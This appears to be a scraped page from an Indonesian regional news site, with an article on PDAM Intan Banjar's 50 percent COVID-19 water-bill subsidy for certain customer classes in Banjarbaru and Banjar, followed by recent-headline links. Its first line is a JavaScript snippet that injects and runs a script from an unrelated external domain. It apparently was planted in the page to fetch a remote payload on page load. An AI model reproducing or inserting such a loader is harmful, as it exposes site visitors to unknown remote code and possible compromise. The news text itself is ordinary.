(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

PDAM Intan Banjar Berikan Subsidi 50 Persen Kepada Pelanggan Golongan Ini


KANALKALIMANTAN.COM, BANJARBARU – PDAM Intan Banjar menunjukan rasa kepeduliannya atas kondisi sulit yang dihadapi oleh masyarakat akibat fenomena pandemi covid-19. Perusahan air minum tersebut mengeluarkan kebijakan relaksasi.

Adapun kebijakan relaksasi ini ialah pemberian subsidi sebanyak 50 persen kepada pelanggan PDAM Intan Banjar. Kabar baik ini dikemukakan langsung oleh Wali Kota Banjarbaru, H Nadjmi Adhani.

“Saya sudah meminta ke direktur PDAM untuk memberikan subsidi relaksasi pemerintah. Permintaan ini telah disetujui dan kita menyambut baik hal ini. Karena tentunya sangat membantu ekonomi masyarakat yang terdampak covid-19,” ujar Nadjmi.

PDAM Intan Banjar memberikan subsidi 50 persen kepada pelanggannya di wilayah Kota Banjarbaru dan Kabupaten Banjar. Penerima subsidi ini ialah pelanggan yang masuk dalam 3 golongan, yakni golongan Sosial Umum, Sosial Khusus, dan Rumah Tangga A1.

Golongan sosial umum sendiri meliputi Rumah Ibadah, Hidran Umum, Kamar Mandi Umum serta WC Umum. Lalu untuk golongan sosial khusus seperti sekolah serta seperti yayasan panti asuhan dan sejenisnya. Sedangkan, yang terakhir golongan rumah tangga A1 disebut sebagai kondisi rumah yang sederhana.

Lantas, bagaimana masyarakat/pelanggan dapat mengetahui apakah masuk dalam ke tiga golongan tersebut?

Ditemui secara terpisah, Kabag SDM PDAM Intan Banjar, Untung Hartaniansyah, mengatakan bahwa pelanggan dapat mengetahui golongan lewat struk rekening pembayaran tentang statis golongan rumahnya. Menurut data yang dimiliki, untuk golongan rumah A1 saja sudah mencakup ribuan pelanggan.

“Untuk mengetahui golongan, bisa cek di struktur rekening masing-masing pelanggan. Pemberian subsidi 50 persen ini berlaku untuk rekening air bulan April 2020 yang dibayar Mei 2020 serta rekening bulan Mei yang di bayar pada Juni 2020,” katanya, Rabu (6/5/2020) siang.

Meski demikian, lanjut Untung, pemberian subsidi ini berlaku apabila pelanggan telah membayar tepat waktu sebelum jatuh tempo, yakni pada tanggal 20.

“Jika lewat dari waktu yang ditentukan, maka subsidi tidak berlaku,” tegas dia.

Mekanisme subsidi ini berlaku secara otomatis. Sehingga ketika nanti pelanggan yang masuk golongan tersebut akan secara otomatis di subsidi sebesar 50 persen. (kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Dhani

 


Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

12 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

15 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

18 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

19 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

19 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

20 jam ago

This website uses cookies.